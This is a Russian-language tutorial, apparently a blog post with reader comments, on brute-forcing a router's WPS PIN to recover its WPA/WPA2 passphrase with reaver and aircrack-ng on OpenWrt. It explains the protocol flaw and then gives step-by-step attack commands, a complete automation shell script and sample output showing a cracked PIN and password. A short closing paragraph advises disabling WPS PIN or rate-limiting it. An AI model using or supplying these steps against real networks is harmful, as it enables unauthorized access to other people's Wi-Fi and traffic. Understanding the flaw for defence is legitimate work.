В большинстве беспроводных роутеров с поддержкой WPS, реализующей авторизацию по PIN, существует уязвимость безопасности сети. Используя ее становится возможным восстановление PIN-кода точки доступа, а также установленных на ней WPA/WPA2-паролей.
Теория
Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие существенно упростить прямой перебор PIN-кодов, иными словами – реализуется эффективная брутфорс-атака. PIN-код WPS содержит восемь цифр, соответственно существует 108 возможных вариантов кода. Это довольно большое число, но в реальности количество переборов можно существенно сократить.
Во-первых, восьмисимвольный PIN-код при авторизации делится на две части, обработка которых происходит независимо друг от друга. Так, точка доступа и клиент обмениваются рядом последовательных сообщений М1-М8, и при этом:
- Если после отправки сообщения М4 точка доступа отвечает кодом EAP-NACK, значит первая половина PIN-кода ошибочна;
- Если после отправки сообщения М6 точка доступа отвечает кодом EAP-NACK, значит вторая половина PIN-кода ошибочна.
В итоге, число необходимых переборов сокращается с 108 (100’000’000) до 104+104 (20’000).
Во-вторых, последняя цифра PIN-кода не является случайной и представляет собой контрольную сумму предыдущих цифр кода. Этот факт сокращает количество вариантов до 104+103 (11’000).
Наконец, немаловажной деталью является тот факт, что на многих домашних роутерах PIN-авторизация: а) включена по-умолчанию; б) не накладывает никаких ограничений на отправителя при отправке множества некорректных PIN-кодов. Это открывает возможность по неограниченному перебору пин-кодов на таких роутерах.
Автоматизация
Разумеется, не пришлось долго ждать появления умельцев, реализовавших программный метод для автоматического перебора PIN-кодов – в лице программы reaver wps. Более того, данная утилита даже была портирована в OpenWrt и присутствует в официальном репозитории пакетов.
Итак, для запуска процесса восстановления PIN-кода нашей точки доступа при помощи роутера под управлением OpenWrt нам потребуется установить пакеты aircrack-ng и reaver (в Buildroot расположены в разделе Network -> Wireless). Первый пакет представляет собой набор утилит и скриптов, при помощи которого мы сможем перевести Wi-Fi передатчик роутера в режим “Monitor”; второй – это непосредственно утилиты для анализа и подбора PIN-кодов.
Сначала подготовим Wi-Fi передатчик нашего роутера. Обратите внимание, соответствующий передатчик уже должен быть активирован в UCI или веб-интерфейсе. Допустим, если выбранный сетевой интерфейс называется wlan0, то используем команду:
root@OpenWrt:~# airmon-ng start wlan0
Теперь у нас появился новый виртуальный сетевой интерфейс – mon0. К сожалению, чтобы на нем работал режим scan, в современных прошивках требуется отключение “обычного” беспроводного интерфейса:
root@OpenWrt:~# ifconfig wlan0 down
Теперь мы можем использовать утилиту wash, при помощи которой можно увидеть окрестные точки доступа, поддерживающие WPS-авторизацию, а также убедимся в том, что с роутера просматривается целевая точка доступа и ее MAC-адрес:
root@OpenWrt:~# wash -i mon0 Wash v1.4 WiFi Protected Setup Scan Tool Copyright (c) 2011, Tactical Network Solutions, Craig HeffnerBSSID Channel RSSI WPS Version WPS Locked ESSID -------------------------------------------------------------------------------------- ... 00:01:FD:AC:DD:EA 2 -64 1.0 No TestAP ...
Запоминаем номер канала и BSSID нашей точки доступа.
В принципе, на этом этапе мы уже имеем достаточно данных для начала автоматизированноого перебора паролей. Для этого было бы достаточно набрать следующую команду и ждать результата:
root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -v
Однако, не все так гладко в Датском королевстве OpenWrt.
Проблема в следующем:
Утилита reaver местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими порядок байтов типа “Little-endian” (LE, от меньшего к большему). В то же время на многих распространенных роутерах используется представление байт “Big-endian” (BE, от большего к меньшему). Первое время это приводило к тому, что reaver вовсе не функционировал на роутерах с BE-платформой. Позже были написаны патчи, исправлявшие эту ситуацию, но тем не менее до сих пор не решена проблема с аутентификацией на точке доступа при использовании платформы с BE. Поэтому требуются обходные пути.
В частности, нам поможет ручная аутентификация на точке доступа при помощи утилиты aireplay-ng из пакета aircrack-ng. Однако в отличие от reaver данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:
root@OpenWrt:~# iwconfig mon0 channel 2 root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0
Эта утилита работает в foreground-режиме, поэтому после того, как вы убедитесь, что ассоциирование с точкой доступа происходит успешно, требуется прервать ее выполнение по Ctrl+C и перезапустить в фоновом режиме:
root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0 > /dev/null &
Затем при запуске reaver добавляем ключ -A:
root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -vv -A
Если все выполнено правильно, то можно будет наблюдать следующие строки:
... [+] Trying pin 54545670 [+] Sending EAPOL START request [+] Received identity request [+] Sending identity response [+] Received M1 message [+] Sending M2 message [+] Received M3 message [+] Sending M4 message [+] Received WSC NACK [+] Sending WSC NACK [+] Trying pin 54555679 [+] Sending EAPOL START request [+] Received identity request ...
В случае появления повторяющихся сообщений Sending EAPOL START request и WARNING: Receive timeout occurred, вероятно, ассоциирование с точкой доступа не было успешным. В случае обнаружения зацикленного перебора одинаковых PIN-ов, вероятно, точка доступа все-таки не поддерживает такую авторизацию, либо произошел сбой в работе reaver.
В общем случае алгоритм корректного перебора PIN-ов предполагает последовательное увеличение первых четырех цифр до тех пор, пока они не будут подобраны верно. Затем первые четыре цифры фиксируются и начинается перебор предпоследних трех цифр. В последней позиции PIN-кода автоматически генерируется число, являющееся контрольной суммой предыдущих чисел.
Также есть еще один момент, актуальный для запуска reaver на OpenWrt:
При работе данная утилита использует файл базы данных sqlite3, а также для хранения информации по текущей точке доступа создается временный файл в текущем каталоге. Оба этих файла перезаписываются после каждой новой попытки подбора PIN-кода. Соответственно, в целях сохранения flash-памяти вашего роутера от износа запускать reaver следует из каталога /tmp. Но, к сожалению, это никак не решает проблему постоянной перезаписи sqlite3-базы, расположенной в /etc/reaver/reaver.db. В данном случае решением проблемы стало бы создание копии этой базы в /tmp и добавление симлинка на нее в /etc.
Для упрощения решения проблемы с переносом sqlite3-базы в /tmp и автоматизации запуска aireplay был составлен скрипт reaverrun.sh:
#!/bin/ash if [ $# -lt 3 ] then echo echo "Reaver WPS Tool automatization script for OpenWrt" echo "(c) 2013 Erinome.net" echo echo "Usage: $0 <interface> <channel> <bssid>" echo exit fi interface=$1 channel=$2 bssid=$3 cd /tmp # check if symlink is created if [ -L /etc/reaver/reaver.db ] then # check if symlink target not ok if ! [ -e /tmp/reaver.db ] then if [ -e /etc/reaver/reaver.db.orig ] then # copy backup to symlinked location cp /etc/reaver/reaver.db.orig /tmp/reaver.db else echo "Fatal: reaver.db.orig not found!" exit 1; fi fi else # move reaver.db to reaver.db.orig and create symlink cp /etc/reaver/reaver.db /tmp/reaver.db mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig ln -s /tmp/reaver.db /etc/reaver/reaver.db fi # make a trap for signal handling trap "{ /usr/bin/killall aireplay-ng; exit; }" SIGINT EXIT # change wireless channel for aireplay to work iwconfig $interface channel $channel # run aireplay-ng to associate since reaver ap association is broken in BE aireplay-ng -1 5 -a $bssid $interface > /dev/null & # actually run reaver reaver -i mon0 -b $bssid -vv -A -S
Скачать скрипт можно из нашего хранилища: reaverrun.sh.
Процесс восстановления PIN-кода может занимать достаточно длительное время, и поэтому есть смысл запускать его в виртуальном терминале типа screen.
При завершении восстановления PIN-кода в консоль будет выведен также WPA-passphrase и затраченное на восстановление время:
[+] Sending M4 message [+] Received M5 message [+] Sending M6 message [+] Received M7 message [+] Sending WSC NACK [+] Sending WSC NACK [+] Pin cracked in 29786 seconds [+] WPS PIN: '73133210' [+] WPA PSK: 'the-most-secret-passphrase-ever' [+] AP SSID: 'TestAP'
После завершения работы с reaver необходимо выключить сетевой интерфейс mon0 командой airmon-ng stop mon0. Также привести роутер в исходное состояние можно и просто набрав команду wifi. При этом временные сетевые интерфейсы будут удалены, а конфигурация беспроводной сети вернется к заданным в UCI или веб-интерфейсе роутера значениям.
Вместо заключения
Для обеспечения безопасности беспроводных сетей с поддержкой WPS остается лишь рекомендовать отключить возможность авторизации по PIN-кодам, либо свериться с информацией по возможности обновления прошивки у производителя вашего роутера или точки доступа. Достаточно эффективной защиты PIN-авторизации можно было бы добиться простым ограничением числа попыток авторизаций в единицу времени. Например, таковая защита представлена на современных роутерах марки Zyxel.
Пожалуйста подробнее про screen и запуск в виртуальном терминале.
Необходимо установить утилиту screen. Это можно сделать через opkg – она есть в официальных репозиториях OpenWrt. Затем запускаете ее, просто набрав слово screen в ssh-консоли, после чего запускаете reaver и нажимаете Ctrl+a, d (контрол+а нажимаются одновременно, затем отдельно d) для того, чтобы отправить сессию в фоновый режим. Чтобы затем вернуться обратно к последней открытой сессии, набираете команду screen -r.
При помощи команды screen -ls можно увидеть список запущенных сессий и их имен. Для возвращения в какую-либо конкретную сессию – команда screen -r имя.
Подскажите пожалуйста что может бить? После запуска reaver появляетса сообщение warning: detected ap rate limiting, waeting 60 seconds before re-checking и дальше только повтори етого сообщения
Это означает, что точка доступа, к которой вы пытаетесь подобрать пинкод, имеет ограничение на количество неудачных попыток авторизации, после превышения которого она перестает откликаться на новые запросы.
У меня после sending m4 пишет receive timeout occurred. При написании -d 0 вообще при любом пине приходит m5, и после отправки m6 опять приходит m5 и происходит ошибка.Что делать?
wash пишет bus error
При запуске скрипта, пишет следующие ошибки:
root@OpenWrt:/tmp# sh /tmp/reaverrun.sh
: not foundrun.sh: line 2:
/tmp/reaverrun.sh: line 52: syntax error: unexpected end of file (expecting “then”)